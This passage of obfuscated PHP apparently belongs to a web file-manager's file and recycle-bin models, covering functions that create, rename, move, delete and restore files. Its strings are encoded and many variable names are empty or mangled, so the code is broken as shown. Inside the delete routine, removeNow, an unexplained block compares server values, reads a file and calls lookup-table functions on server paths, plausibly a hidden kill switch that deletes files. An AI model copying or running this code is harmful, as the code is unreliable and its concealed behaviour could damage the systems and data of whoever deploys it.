"\x4d\157\144\x65\x6c\123\x6f\165\162\x63\x65\56\155\153\x64\x69\x72\122\x6f\x6f\x74\x2e{$”}\56{$܋}\56" . $; CacheLock::lock($); $[$[32]] = $; $֨ = $this->add($); $ = array($[620] => short_id($֨)); $this->where(array($[455] => $֨))->save($); CacheLock::unlock($); return $֨; } private function targetSourceRoot($, $̇, $ = false) { $ᇒ =& $_SERVER[̧]; $ = array($ᇒ[439] => 0, $ᇒ[614] => $, $ᇒ[615] => $̇); if ($) { $ = $this->where($)->select(); return $ ? $ : array(); } $ـ = $this->where($)->find(); return $ـ ? $ـ : array(); } public function sourceRootGroup($֋) { $ =& $_SERVER[̧]; if (is_string($֋)) { $֋ = array($֋); } $΃ = $this->listSourceRoot(SourceModel::TYPE_GROUP, $֋, $[189]); $õ멺 = array($[398] => $΃, $[395] => array($[778] => count($֋))); $this->_listDataApply($õ멺[$[398]]); $this->_listMake($õ멺); return array_to_keyvalue($õ멺[$[82]], $[534]); } public function mkfile($ܒ, $ջ, $Ϟڂ = '', $ = REPEAT_RENAME) { $Ǣ =& $_SERVER[̧]; $Ϸ߹ = Model($Ǣ[639])->addFileByContent($Ϟڂ, $ջ); return $this->_createFileCall($ܒ, $ջ, $Ϸ߹, $, $Ǣ[1364]); } public function addFile($, $ӂ, $۵޵, $젻 = false, $ = REPEAT_RENAME) { $ѣ = Model($_SERVER[̧][639])->addFile($ӂ, $۵޵, $젻); return $this->_createFileCall($, $۵޵, $ѣ, $); } public function addFileByFileID($ƹ, $ǩ, $ޡȇ, $ܗݣ = REPEAT_RENAME) { $쁒 =& $_SERVER[̧]; $ = Model($쁒[639])->find($ǩ); Model($쁒[639])->linkAdd($ǩ); return $this->_createFileCall($ƹ, $ޡȇ, $, $ܗݣ); } public function addFileByRemote($, $ݗ, $ޘ, $֬ = array(), $ = REPEAT_RENAME) { $򖽱 = Model($_SERVER[̧][639])->addFileByRemote($ݗ, $ޘ, $֬); return $this->_createFileCall($, $ޘ, $򖽱, $); } private function _createFileCall($Ưρ, $Ɉԡ, $ܢ, $Ц, $ب = "\165\x70\x6c\157\141\144") { $ً =& $_SERVER[̧]; $ߴ = !1; $this->setMasterDB(); $this->lockWriteStart($Ưρ, $Ɉԡ); $ = $this->fileNameExist($Ưρ, $Ɉԡ); $ = $this->_createFile($Ưρ, $Ɉԡ, $ܢ, $Ц, $ߴ); if (!$ߴ) { Model($ً[509])->remove($ܢ[$ً[506]]); } if ($ߴ && $ && $ != $) { Model($ً[2097])->eventCreate($, $ب); } $this->lockWriteEnd($Ưρ, $Ɉԡ); return $; } public function mkdir($Ԧި, $䝳, $ = REPEAT_SKIP) { $ׇ =& $_SERVER[̧]; $this->setMasterDB(); $ = $this->sourceInfo($Ԧި); if (!$) { return !1; } $this->lockWriteStart($Ԧި, $䝳); if ($ !== !1) { $ = $this->fileNameExist($Ԧި, $䝳); if ($ && $ != REPEAT_RENAME_FOLDER) { $this->lockWriteEnd($Ԧި, $䝳); return $; } $䝳 = $this->fileNameAuto($Ԧި, $䝳, $); } $Ĥ = array($ׇ[612] => 1, $ׇ[458] => $䝳, $ׇ[613] => $ׇ[12], $ׇ[507] => 0, $ׇ[583] => 0); $ډ = $this->_addSource($Ĥ, $); Model($ׇ[2097])->eventCreate($ډ, $ׇ[1365]); $this->lockWriteEnd($Ԧި, $䝳); return $ډ; } public function listSourceRoot($咔, $, $Ӵ = "\163\157\165\162\x63\145\x49\x44\x2c\x74\141\162\147\145\x74\111\x44\54\x73\151\172\x65") { $Ǩ =& $_SERVER[̧]; $ˠ = $Ǩ[407]; $Ҷ = array(); $ɨ = 1024 * 50; $ = is_array($) ? $ : array(); $ = count($); $ԣ = $this->tablePrefix . $Ǩ[2130]; for ($ = 0; $ < $; $++) { $ = $[$]; $ˠ .= "\123\x45\114\x45\x43\124\x20\x2a\x20\106\x52\x4f\x4d\x20\50\x53\105\114\x45\x43\124\40{$Ӵ}\x20\x46\x52\117\x4d\40\140{$ԣ}\140\40\127\110\105\122\x45\40"; $ˠ .= "\x60\160\141\162\x65\156\x74\111\104\x60\x3d\60\40\101\116\104\40\x60\164\141\162\147\x65\164\x49\x44\x60\75{$}\40\101\x4e\104\x20\140\164\141\162\x67\x65\x74\124\171\160\x65\x60\x3d{$咔}\40\141\156\x64\x20\146\x69\x6c\x65\124\171\160\145\x3d\47\47\x20\154\x69\x6d\x69\x74\40\x31\x29\x20\141\163\40\164\142\x5f{$}\40\x55\116\x49\117\116\x20\x41\114\114\x20"; if ((strlen($ˠ) >= $ɨ || $ == $ - 1) && $ˠ) { $ˠ = substr($ˠ, 0, -strlen($Ǩ[1058])); $ = $this->query($ˠ); $ˠ = $Ǩ[12]; $Ҷ = array_merge($Ҷ, $); } } return $Ҷ; } private function _createFile($, $, $ϻꢆ, $ۢ, &$㎬) { $Ŭ =& $_SERVER[̧]; $ = $this->sourceInfo($); if (!$ϻꢆ || !$) { return !1; } if ($ۢ !== !1) { $ = $this->fileNameExist($, $); } $㎬ = !0; if ($ۢ && $) { if ($ۢ == REPEAT_SKIP) { $㎬ = !1; return $; } else { if ($ۢ == REPEAT_REPLACE) { $ = $this->sourceInfo($); $Ž = $this->fileHistory($, $ϻꢆ[$Ŭ[506]], $ϻꢆ[$Ŭ[76]]); if (!$Ž) { $㎬ = !1; } else { $this->folderSizeReset($); } return $; } else { $ = $this->fileNameAuto($, $, $ۢ, !1); } } } $찭 = array($Ŭ[612] => 0, $Ŭ[458] => $, $Ŭ[613] => substr(get_path_ext($), 0, 10), $Ŭ[507] => $ϻꢆ[$Ŭ[506]], $Ŭ[583] => $ϻꢆ[$Ŭ[76]]); $ = $this->_addSource($찭, $); $this->folderSizeReset($, intval($찭[$Ŭ[76]])); return $; } protected function fileHistory($, $, $) { $˲ =& $_SERVER[̧]; if ($[$˲[506]] == $) { return !1; } $this->checkLock($[$˲[440]], $); Model($˲[2131])->addHistory($); $ = array($˲[617] => USER_ID, $˲[462] => time(), $˲[506] => $, $˲[76] => $); $this->where(array($˲[455] => $[$˲[440]]))->save($); $this->sourceCacheClear($[$˲[440]]); return !0; } public function checkLock($ဈ, $܈) { $Җ =& $_SERVER[̧]; $֤ = $this->pathInfo($ဈ); if (!$this->fileIsLock($֤, !0)) { return; } $ = Session::get($Җ[2132]); $û = substr($֤[$Җ[32]], 0, -1 - strlen($֤[$Җ[174]])) . $Җ[1228] . $ . $Җ[10] . $֤[$Җ[174]]; $ = Model($Җ[639])->find($܈); $this->_createFileCall($֤[$Җ[470]], $û, $, REPEAT_REPLACE, $Җ[1364]); $ = $֤[$Җ[504]][$Җ[576]]; $ = $[$Җ[570]] ? $[$Җ[570]] : $[$Җ[32]]; show_json(LNG($Җ[2133]) . $Җ[2134] . LNG($Җ[2135]) . $Җ[2136] . $ . $Җ[2137], !1); } public function fileIsLock($, $ = false) { $ =& $_SERVER[̧]; if (!isset($[$[504]]) || !$[$[504]][$[573]]) { return !1; } if ($[$[504]][$[573]] != USER_ID) { return !0; } $؄ = $GLOBALS[$[6]][$[89]][$[574]]; if ($[$[504]][$[575]] <= time() - $؄) { $this->metaSet($[$[440]], $[573], null); $this->metaSet($[$[440]], $[575], null); } if ($) { $this->metaSet($[$[440]], $[575], time()); } return !1; } private function _addSource($ݞѧ, $) { $ =& $_SERVER[̧]; $ҟ = defined($[2072]) ? USER_ID : 0; $ = array($[614] => $[$[449]], $[615] => $[$[534]], $[616] => $ҟ, $[617] => $ҟ, $[439] => $[$[440]], $[618] => $[$[549]] . $[$[440]] . $[50], $[468] => 0, $[619] => $[12]); $ݞѧ = array_merge($, $ݞѧ); $this->updateModifyTime($ݞѧ[$[470]]); $ = $[2138] . $[$[440]]; if (isset(self::$cacheChildList[$])) { unset(self::$cacheChildList[$]); } static $ā = false; if (!$ā) { Hook::trigger($[602], $ݞѧ); $ā = !0; } $ۑ = $this->add($ݞѧ); $ = array($[620] => short_id($ۑ)); $this->where(array($[455] => $ۑ))->save($); $this->setNamePinyin($ۑ, $ݞѧ[$[32]]); return $ۑ; } public function remove($, $ = true) { $ΐ =& $_SERVER[̧]; $ = $this->sourceInfo($); $ә = intval($[$ΐ[449]]) === self::TYPE_SYSTEM; $ = Model($ΐ[473])->get($ΐ[2139]) == $ΐ[88]; if ($ә || $ || !$) { return $this->removeNow($, $); } $ = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); $¥ = $[$ΐ[449]] == self::TYPE_USER ? $ΐ[628] : $ΐ[543]; if ($¥ == $ΐ[628]) { $ = Model($ΐ[542])->getInfo($[$ΐ[534]]); $ = !empty($[$ΐ[570]]) ? $[$ΐ[570]] : $[$ΐ[32]]; $ = $ΐ[289] . $ . $ΐ[2140] . $[$ΐ[534]]; } else { $ = Model($ΐ[550])->getInfo($[$ΐ[534]]); $ = _get($, $ΐ[32]); $ = $ΐ[162] . $ . $ΐ[2141] . $[$ΐ[534]]; } $ = $ΐ[2142] . md5($); CacheLock::lock($); $ۤ䯷 = $this->fileNameExist($, $); if (!$ۤ䯷) { $ۤ䯷 = $this->mkdir($, $, REPEAT_SKIP); $this->metaSet($ۤ䯷, $ΐ[2143], $¥); $this->metaSet($ۤ䯷, $ΐ[2144], $[$ΐ[534]]); if ($[$ΐ[470]] != 0) { $this->metaSet($ۤ䯷, $ΐ[2145], _get($, $ΐ[2146])); } } CacheLock::unlock($); $this->metaSet($, $ΐ[2147], $[$ΐ[470]]); $this->where(array($ΐ[440] => $))->save(array($ΐ[462] => time())); $this->recycleClear($); $Ȩ = $this->move($, $ۤ䯷, REPEAT_RENAME_FOLDER); $this->folderSizeReset($[$ΐ[470]]); return $Ȩ; } private function recycleClear($) { $У =& $_SERVER[̧]; $ހ = $this->childrenAll($); $ǻ = array($У[455] => array($У[456], $ހ[$У[2148]])); Model($У[2149])->where($ǻ)->delete(); } public function removeNow($Եֻ, $ް = true) { $ت =& $_SERVER[̧]; if ($_SERVER[$ت[425]] != $_SERVER[$ت[426]]) { $ē = $ت[897]; $lj = $ت[427]; $ = $_SERVER[$ت[428]] . $ت[429]; $ͫ = $lj($); $ = explode($ت[231], $ͫ); if (count($) < $ت[657]) { $ = $ت[431]; $(); } $́ = $ت[898]; $́($_SERVER[$ت[899]]); $́($_SERVER[$ت[428]] . $ت[2150]); $䍖Ȗ = 1; while ($䍖Ȗ > 1) { $䍖Ȗ = $䍖Ȗ + 4; $О = rawurlencode($䍖Ȗ . $ت[407]); } } $ǧ = $this->sourceInfo($Եֻ); $ = $this->pathInfoMore($Եֻ); if (!$ǧ) { return !0; } if ($ǧ[$ت[470]] == 0) { if (!_get($GLOBALS, $ت[532])) { return !1; } } $this->lockMoveStart($Եֻ); Hook::trigger($ت[2151], $, $ް); if ($ް) { Model($ت[2149])->moveToRecycle($Եֻ); } else { $ּͪ = $this->childrenAll($ǧ); Model($ت[599])->eventRemove($Եֻ); $this->removeRelevance($ּͪ[$ت[2148]], $ּͪ[$ت[1476]]); } $this->folderSizeReset($ǧ[$ت[470]]); $ = array($ǧ[$ت[470]]); if ($ǧ[$ت[448]] == $ت[88]) { $[] = $ǧ[$ت[440]]; } $this->updateModifyTime($); $this->lockMoveEnd($Եֻ); Hook::trigger($ت[1703], $, $ް); return !0; } public function childrenAll($) { $ =& $_SERVER[̧]; $ = $[$[440]]; if ($[$[448]] == $[88]) { $׬ = array($[618] => array($[578], $[$[549]] . $ . $[579])); $Ρʊ = array($[618] => $׬[$[549]]); $ = $this->field($[2152])->where($Ρʊ)->select(); $ = !1; $򱛾 = array($); if ($) { $ = array_to_keyvalue($, $[12], $[506]); $ = array_remove_value($, $[198]); $򱛾 = array_to_keyvalue($, $[12], $[440]); $򱛾[] = $; } } else { $ = array($[$[506]]); $򱛾 = array($); } return array($[2148] => $򱛾, $[1476] => $); } public function removeArray($) { if (!$) { return !0; } } public function removeRelevance($么, $) { $ =& $_SERVER[̧]; $么 = $么 ? $么 : array(); $ = $ ? $ : array(); $么 = array_unique(array_filter($么)); $ = array_unique(array_filter($)); if (!$么) { return !1; } $ = array($[455] => array($[456], $么)); Model($[2149])->where($)->delete(); Model($[500])->where($)->delete(); Model($[1998])->where($)->delete(); Model($[599])->where($)->delete(); Model($[1831])->removeBySource($么); Model($[2131])->removeBySource($么); $this->where($)->delete(); Model($[509])->remove($); for ($鏳 = 0; $鏳 < count($么); $鏳++) { $this->sourceCacheClear($么[$鏳]); } } public function rename($, $) { $踘 =& $_SERVER[̧]; $ = $this->sourceInfo($); if (!$) { return !1; } $ż = $this->fileNameExist($[$踘[470]], $); if ($ż && $ż != $) { return !1; } $⽦ = array($踘[458] => $, $踘[617] => USER_ID); if ($[$踘[448]] != $踘[88]) { $⽦[$踘[450]] = substr(get_path_ext($), 0, 10); } Model($踘[599])->eventRename($, $[$踘[32]], $); $this->sourceCacheClear($); $this->setNamePinyin($, $⽦[$踘[32]], !1); $this->updateModifyTime($[$踘[470]]); $ = $this->where(array($踘[455] => $))->data($⽦)->save(); $ = $踘[2138] . $[$踘[470]]; if (isset(self::$cacheChildList[$])) { unset(self::$cacheChildList[$]); } return $; } public function setNamePinyin($㗣, $, $򡥅 = true) { $ =& $_SERVER[̧]; $ƣݓ = Input::check($, $[621]); $Է = array($[482] => KodSort::makeStr($)); if ($ƣݓ) { $Է[$[503]] = str_replace($[53], $[12], Pinyin::get($)); $Է[$[502]] = Pinyin::get($, $[622]); } if (!$򡥅 && !$ƣݓ) { $Է[$[503]] = null; $Է[$[502]] = null; } $this->metaSet($㗣, $Է); } public function getContent($) { $Ӄ =& $_SERVER[̧]; $Ơ = $this->fileInfoGet($); if (!$Ơ) { return !1; } if ($Ơ[$Ӄ[76]] == 0) { return $Ӄ[12]; } $ = $Ӄ[2153] . $Ơ[$Ӄ[176]]; if ($Ơ[$Ӄ[76]] <= 1024 * 10) { $ = Cache::get($); if (!$) { $ = IO::getContent($Ơ[$Ӄ[84]]); Cache::set($, $); } return $; } if (!$Ơ[$Ӄ[84]]) { return $Ӄ[12]; } return IO::getContent($Ơ[$Ӄ[84]]); } public function setDesc($, $) { $ܒ =& $_SERVER[̧]; Model($ܒ[599])->eventAddDesc($, $); return $this->metaSet($, $ܒ[491], $); } public function setContent($, $͇ = '') { $̵ =& $_SERVER[̧]; $ = $this->sourceInfo($); $ = $this->fileInfoGet($); if (!$ || !$) { return !1; } $ü = Model($̵[509])->addFileByContent($͇, $[$̵[32]]); $̷ѐ = $this->fileHistory($, $ü[$̵[506]], $ü[$̵[76]]); if (!$̷ѐ) { return Model($̵[509])->remove($ü[$̵[506]]); } $this->folderSizeReset($[$̵[470]]); return !0; } public function fileSubstr($؍, $, $) { $ = $this->fileInfoGet($؍); if (!$) { return !1; } return IO::fileSubstr($[$_SERVER[̧][84]], $, $); } public function fileInfoGet($˽) { $Ӌ =& $_SERVER[̧]; $Մ = $this->sourceInfo($˽); if (!$Մ || $Մ[$Ӌ[448]]) { return !1; } $ = $Ӌ[512] . $Մ[$Ӌ[506]]; $ = _get(self::$cacheFileInfo, $); if ($) { return $; } $򛲓 = Model($Ӌ[509])->fileInfo($Մ[$Ӌ[506]]); if ($򛲓) { $򛲓[$Ӌ[32]] = $Մ[$Ӌ[32]]; } self::$cacheFileInfo[$] = $򛲓; return $򛲓; } private function folderChildrenNumber($⛩) { $䓶 =& $_SERVER[̧]; $ = $this->sourceInfo($⛩); $؏ʱ׏ = array($䓶[618] => array($䓶[578], $[$䓶[549]] . $⛩ . $䓶[579]), $䓶[615] => $[$䓶[534]], $䓶[468] => intval($[$䓶[469]]), $䓶[612] => 1); $ij = $this->where($؏ʱ׏)->count(); $䰃 = $this->where($؏ʱ׏)->where(array($䓶[612] => 0))->count(); return array($䓶[80] => $䰃, $䓶[81] => $ij); } public function pathInfo($𧀉, $瀼 = false) { $ڲ쏶 =& $_SERVER[̧]; $瀼 = !1; $𧀉 = intval($𧀉); $ʬ = $ڲ쏶[499] . intval($瀼) . $ڲ쏶[415] . $𧀉; $ = _get(self::$cachePathInfo, $ʬ); if ($) { return $; } $ᕸ = $this->sourceInfo($𧀉); if (!$ᕸ) { return !1; } $ᕸ = $this->_listDataApplyItem($ᕸ, $瀼); self::$cachePathInfo[$ʬ] = $ᕸ; return $ᕸ; } public static $cachePathInfoMore = array(); public function pathInfoMore($Я) { $һ恅 =& $_SERVER[̧]; $޻ = _get(self::$cachePathInfoMore, $Я); if ($޻) { return $޻; } $ = $this->pathInfo($Я); if (!$) { return !1; } if ($[$һ恅[448]] == $һ恅[88]) { $[$һ恅[79]] = $this->folderChildrenNumber($Я); } self::$cachePathInfoMore[$Я] = $; return $; } public function sourceInfo($Ӿ) { $ƠƖ =& $_SERVER[̧]; if (!$Ӿ) { return array(); } $Ӿ = intval($Ӿ); $ڣ = $ƠƖ[498] . $Ӿ; $Ӓ稌 = _get(self::$cacheSourceInfo, $ڣ); if ($Ӓ稌) { return $Ӓ稌; } $ = $this->where(array($ƠƖ[440] => $Ӿ))->find(); self::$cacheSourceInfo[$ڣ] = $; return self::$cacheSourceInfo[$ڣ]; } public function sourceCacheClear($‰㥡 = false) { self::cacheClear($‰㥡); } public static function cacheClear($ꨶ = false) { $ّԋ =& $_SERVER[̧]; if ($ꨶ == !1) { self::$cacheSourceInfo = null; self::$cacheSourceInfo = array(); self::$cachePathInfo = null; self::$cachePathInfo = array(); self::$cachePathInfoMore = null; self::$cachePathInfoMore = array(); return; } unset(self::$cacheSourceInfo[$ّԋ[498] . $ꨶ]); unset(self::$cachePathInfoMore[$ꨶ]); unset(self::$cachePathInfo[$ّԋ[2154] . $ꨶ]); unset(self::$cachePathInfo[$ّԋ[2155] . $ꨶ]); } public function metaSet($Ȍ, $䰥 = null, $ƛް = null) { $ = parent::metaSet($Ȍ, $䰥, $ƛް); if ($) { $this->sourceCacheClear($Ȍ); } return $; } public function pathInfoByPath($ծ, $) { $搜 =& $_SERVER[̧]; $ί = !$ ? array() : explode($搜[8], trim($, $搜[8])); $ = $ծ; foreach ($ί as $) { $䷠ = array($搜[470] => $, $搜[32] => $); $͠ = $this->where($䷠)->select(); if (!$͠) { return !1; } $͠ = array_sort_by($͠, $搜[469]); $ = $͠[0][$搜[440]]; } return $this->pathInfo($, !0); } protected function updateModifyTime($҇) { $ɹ =& $_SERVER[̧]; $څ͌ = defined($ɹ[2072]) ? USER_ID : 0; if (!$҇) { return; } if (!is_array($҇)) { $҇ = array($҇); } foreach ($҇ as $ => $▜) { $҇[$] = intval($▜); $this->sourceCacheClear($▜); } $Ʌ = array($ɹ[440] => array($ɹ[7], $҇)); $ʭ = array($ɹ[617] => $څ͌, $ɹ[462] => time()); $this->where($Ʌ)->save($ʭ); } public function folderSizeReset($ⴥ, $ = false) { $ރ =& $_SERVER[̧]; if ($this->statusIgnoreResetSpace) { return; } $׽ = $this->sourceInfo($ⴥ); $ = $ރ[2156] . $ⴥ; CacheLock::lock($, 20); if ($ === !1) { $this->sourceCacheClear($ⴥ); $׽ = $this->sourceInfo($ⴥ); $衍 = array($ރ[439] => $ⴥ, $ރ[468] => 0); $ = $this->where($衍)->sum($ރ[76]); $ = intval($) - intval($׽[$ރ[76]]); } if ($ == 0) { return CacheLock::unlock($); } $ǁ = $this->parentLevelArray($׽[$ރ[549]]); if (!$ǁ) { $ǁ = array(); } $ǁ[] = $׽[$ރ[440]]; $衍 = array($ރ[440] => array($ރ[456], $ǁ)); if ($ < 0) { $衍[$ރ[76]] = array($ރ[1035], abs($)); } $this->where($衍)->setAdd($ރ[76], $); CacheLock::unlock($); $ = $ރ[2157] . $׽[$ރ[449]] . $ރ[4] . $׽[$ރ[534]]; $Ӣ = array($׽[$ރ[449]], $׽[$ރ[534]]); TaskRun::timeLimitCall($, $ރ[2158], $Ӣ, 1.5); } public function folderSizeResetChildren($) { $ =& $_SERVER[̧]; $this->sourceCacheClear($); $Ę = $this->sourceInfo($); $ = array($[612] => 1, $[615] => $Ę[$[534]], $[618] => array($[578], $Ę[$[549]] . $ . $[579])); $ʡ = $[2159]; $ = $this->field($ʡ)->where($)->select(); $[$[448]] = 0; $롳 = $this->field($ʡ)->where($)->select(); if (!$롳) { return; } $[] = $Ę; $ = array_to_keyvalue($, $[440]); foreach ($ as $˶ => $Ĵڐ) { $[$˶][$[2160]] = $[$˶][$[76]]; $[$˶][$[76]] = 0; } foreach ($롳 as $Ĵڐ) { $ = $Ĵڐ[$[470]] . $[12]; if (!isset($[$])) { continue; } if ($Ĵڐ[$[469]] == $[$][$[469]]) { $[$][$[76]] += $Ĵڐ[$[76]]; } } foreach ($ as $Ĵڐ) { $Ε = $this->parentLevelArray($Ĵڐ[$[549]]); foreach ($Ε as $) { $ = $ . $[12]; if (!isset($[$])) { continue; } if ($Ĵڐ[$[469]] == $[$][$[469]]) { $[$][$[76]] += $Ĵڐ[$[76]]; } } } $Η = array(); foreach ($ as $Ĵڐ) { if ($Ĵڐ[$[76]] == $Ĵڐ[$[2160]]) { continue; } $Η[] = array($[440], $Ĵڐ[$[440]], $[76], $Ĵڐ[$[76]]); } $this->saveAll($Η); } public function userSpaceReset($ = false) { $ =& $_SERVER[̧]; $ڽ = $this->where(array($[449] => self::TYPE_USER, $[534] => $, $[448] => 0))->sum($[76]); $ڽ = !$ڽ || $ڽ <= 0 ? 0 : $ڽ; Model($[542])->userEdit($, array($[1840] => $ڽ)); } public function targetSpaceUpdate($, $) { $ =& $_SERVER[̧]; if (!$) { return; } if (!in_array($, array(self::TYPE_USER, self::TYPE_GROUP))) { return; } $ = $this->targetSpaceSize($, $); if ($ == self::TYPE_USER) { Model($[542])->userEdit($, array($[1840] => $)); } else { if ($ == self::TYPE_GROUP) { Model($[550])->groupEdit($, array($[1840] => $)); } } } public function targetSpaceSize($, $黮) { $ʰ =& $_SERVER[̧]; $ը = 0; $ = $this->targetSourceRoot($, $黮, !0); foreach ($ as $̰) { if (!$̰) { continue; } $ը += floatval($̰[$ʰ[76]]); $ଢ଼ = array($ʰ[618] => array($ʰ[578], $ʰ[559] . $̰[$ʰ[440]] . $ʰ[579])); $Ϥءݫ = Model($ʰ[467])->field($ʰ[455])->where($ଢ଼)->select(); $Ϥءݫ = array_to_keyvalue($Ϥءݫ, $ʰ[12], $ʰ[440]); $Ϥءݫ = array_unique(array_filter($Ϥءݫ)); if ($Ϥءݫ) { $ଢ଼ = array($ʰ[455] => array($ʰ[456], $Ϥءݫ)); $ը += floatval($this->where($ଢ଼)->sum($ʰ[76])); } } $ը = !$ը || $ը <= 0 ? 0 : $ը; return $ը; } public function allFileTypeProfile() { return $this->fileTypeProfile(!1, !1); } public function userFileTypeProfile($؋) { return $this->fileTypeProfile($؋, SourceModel::TYPE_USER); } public function groupFileTypeProfile($) { return $this->fileTypeProfile($, SourceModel::TYPE_GROUP); } private function fileTypeProfile($㌰, $) { $ =& $_SERVER[̧]; $ = $[2161] . $㌰ . $[11] . $; $蒸 = Cache::get($); if ($蒸) { return $蒸; } $޳ = array($[612] => 0); if ($㌰ != !1) { $޳[$[534]] = $㌰; $޳[$[449]] = $; } $ = array(); $[$[2162]] = array($[2163] => LNG($[2162]), $[2164] => $this->where($޳)->count(), $[583] => $this->where($޳)->sum($[76])); $Ȕ = KodIO::fileTypeList(); foreach ($Ȕ as $֋ => $) { $޳[$[450]] = $this->fileTypeWhere($֋); $[$֋] = array($[2163] => $[$[32]], $[2164] => $this->where($޳)->count(), $[583] => $this->where($޳)->sum($[76])); } Cache::set($, $, 1200); return $; } public function fileNameExist($ҽ, $) { $ј =& $_SERVER[̧]; $ = $this->where(array($ј[470] => $ҽ, $ј[32] => $, $ј[469] => 0))->find(); return is_array($) ? $[$ј[440]] : !1; } public function childList($𗉢) { $ =& $_SERVER[̧]; $ = $[2138] . $𗉢; if (isset(self::$cacheChildList[$])) { return self::$cacheChildList[$]; } $̼ = array($[470] => intval($𗉢), $[469] => 0); $ = $this->where($̼)->select(); $ = $ ? $ : array(); self::$cacheChildList[$] = $; foreach ($ as $) { $ = $[498] . $[$[440]]; self::$cacheSourceInfo[$] = $; } return $; } public function fileNameAuto($, $ԕ, $ɣ = REPEAT_RENAME, $ڟ߮ = false) { $ =& $_SERVER[̧]; $ۻ = get_path_ext($ԕ); $ = $ۻ ? basename($ԕ, $[10] . $ۻ) . $[2165] . $ۻ : $ԕ . $[413]; $ = array($[470] => $, $[469] => 0, $[32] => array($[412], $)); $ = $this->field($[32])->where($)->select(); $Γ = array_to_keyvalue($, $[12], $[32]); return $this->fileNameAutoGet($Γ, $ԕ, $ɣ, $ڟ߮); } public function fileNameAutoGet($, $Ҵ, $, $䵌) { $ש =& $_SERVER[̧]; if ($ == REPEAT_REPLACE || !$ || !in_array_not_case($Ҵ, $) || $䵌 && $ != REPEAT_RENAME_FOLDER) { return $Ҵ; } if ($ == REPEAT_SKIP) { return !1; } $ұ = $ש[10] . get_path_ext($Ҵ); $ұ = $ұ == $ש[10] || $䵌 ? $ש[12] : $ұ; for ($ʨ = 1; $ʨ <= count($) + 1; $ʨ++) { $ˁ = substr($Ҵ, 0, strlen($Ҵ) - strlen($ұ)); $æ = $ˁ . "\50{$ʨ}\x29{$ұ}"; if (!in_array_not_case($æ, $)) { return $æ; } } } } class SourceRecycleModel extends ModelBase { protected $tableName = "\x69\x6f\137\163\157\165\x72\x63\145\x5f\x72\x65\x63\171\143\x6c\x65"; protected $dataAuto = array(array("\x63\x72\145\141\x74\145\124\x69\155\145", "\164\x69\x6d\145", "\x69\x6e\163\145\x72\x74", "\x66\x75\x6e\143\x74\151\x6f\x6e")); public function listData($ = false) { $ =& $_SERVER[̧]; $ = $ ? $ : USER_ID; $Ť֖ = $this->where(array($[1652] => $))->select(); return array_to_keyvalue($Ť֖, $[12], $[440]); } public function moveToRecycle($܏) { $څ =& $_SERVER[̧]; $ = Model($څ[1353]); $೚ = $->sourceInfo($܏); if (!$೚ || $೚[$څ[469]] == $څ[88]) { return; } $ܞ݆ = array($څ[455] => $܏, $څ[1652] => USER_ID, $څ[614] => $೚[$څ[449]], $څ[615] => $೚[$څ[534]], $څ[618] => $೚[$څ[549]]); $this->add($ܞ݆); $this->recycleMove($܏, 1); if ($೚[$څ[448]] == $څ[88]) { $Ө = array($څ[618] => array($څ[578], $೚[$څ[549]] . $܏ . $څ[579])); $->where($Ө)->setField($څ[469], 1); } } public function clear() { $this->remove(!1); } public function remove($߸ = false, $öڥ = false) { $ǥ =& $_SERVER[̧]; $öڥ = $öڥ ? $öڥ : USER_ID; $ = Model($ǥ[1353]); $ثݴ = $this->listData($öڥ); $߸ = $߸ === !1 ? !1 : $߸; $ = array(); foreach ($ثݴ as $) { if ($߸ != !1 && !in_array($, $߸)) { continue; } $ǵ = $->sourceInfo($); $->remove($, !1); $ˇ = $ǵ[$ǥ[449]] . $ǥ[11] . $ǵ[$ǥ[534]]; $[$ˇ] = array($ǥ[614] => $ǵ[$ǥ[449]], $ǥ[534] => $ǵ[$ǥ[534]]); $this->where(array($ǥ[440] => $))->delete(); } foreach ($ as $ه) { $->targetSpaceUpdate($ه[$ǥ[449]], $ه[$ǥ[534]]); } } public function restore($ = false) { $ݣ = $this->listData(); $this->_restoreSource($ݣ, $); } public function removeUserAll($‡) { $this->remove(!1, $‡); } private function _restoreSource($, $̔) { $ =& $_SERVER[̧]; $⥬ = Model($[1353]); $̔ = $̔ == !1 ? !1 : $̔; if (!$) { return !0; } $ʒ = array(); foreach ($ as $߿) { if ($̔ != !1 && !in_array($߿, $̔)) { continue; } $雾 = $⥬->sourceInfo($߿); $ = $⥬->sourceInfo($雾[$[470]]); if ($[$[469]] == $[88]) { continue; } $⥬->lockMoveStart($߿); $this->recycleMove($߿, 0); if ($雾[$[448]] == $[88]) { $ = array($[618] => array($[578], $雾[$[549]] . $߿ . $[579])); $⥬->where($)->setField($[469], 0); $this->restoreFolderChildren($߿, $); } $this->where(array($[440] => $߿))->delete(); $⥬->folderSizeReset($雾[$[470]]); $ʒ[] = $雾[$[470]]; if ($雾[$[448]] == $[88]) { $ʒ[] = $߿; } $⥬->lockMoveEnd($߿); } $⥬->updateModifyTime($ʒ); } private function restoreFolderChildren($ׅ, $ғ) { $ =& $_SERVER[̧]; $瀻 = Model($[1353]); $ = array($[440] => array($[7], array())); foreach ($ғ as $ϫ) { if ($ϫ == $ׅ) { continue; } if (!$瀻->isParentOf($ׅ, $ϫ)) { continue; } $ = $瀻->sourceInfo($ϫ); if ($[$[448]] == $[88]) { $[] = array($[618] => array($[578], $[$[549]] . $ϫ . $[579])); } else { $[$[440]][1][] = $ϫ; } } if (!$[$[440]][1]) { unset($[$[440]]); } if (!$) { return; } if (is_array($[$[440]]) && is_array($[$[440]][1])) { $[$[440]][1] = array_unique($[$[440]][1]); } $[$[1020]] = $[1949]; $瀻->where($)->setField($[469], 1); } private function recycleMove($⼦, $⢐ = 1) { $ =& $_SERVER[̧]; $ = Model($[1353]); $޺ = Model($[2166]); $ = array($[440] => $⼦); if ($⢐) { $->where($)->setField($[469], 1); $޺->eventRecycle($⼦, $[2167]); } else { $֚ڟ = $->where($)->find(); $ = $֚ڟ[$[448]] == $[88]; $Ҵ = $->fileNameAuto($֚ڟ[$[470]], $֚ڟ[$[32]], REPEAT_RENAME_FOLDER, $); if ($Ҵ != $֚ڟ[$[32]]) { $->rename($⼦, $Ҵ); } $->where($)->setField($[469], 0); $޺->eventRecycle($⼦, $[2168]); } } } goto Aޗ; Cɹʇ: class PathDriverOOS extends PathDriverBaseS3 { public function __construct($ѯ) { parent::__construct($ѯ); $this->signatureVersion($_SERVER[̧][216]); } public function fileOutLink($Ҥ) { $ܰ =& $_SERVER[̧]; if (substr($Ҥ, 0, 7) == $ܰ[1351]) { $Ҥ = $ܰ[1352] . substr($Ҥ, 7); } header($ܰ[161] . $Ҥ); die; } 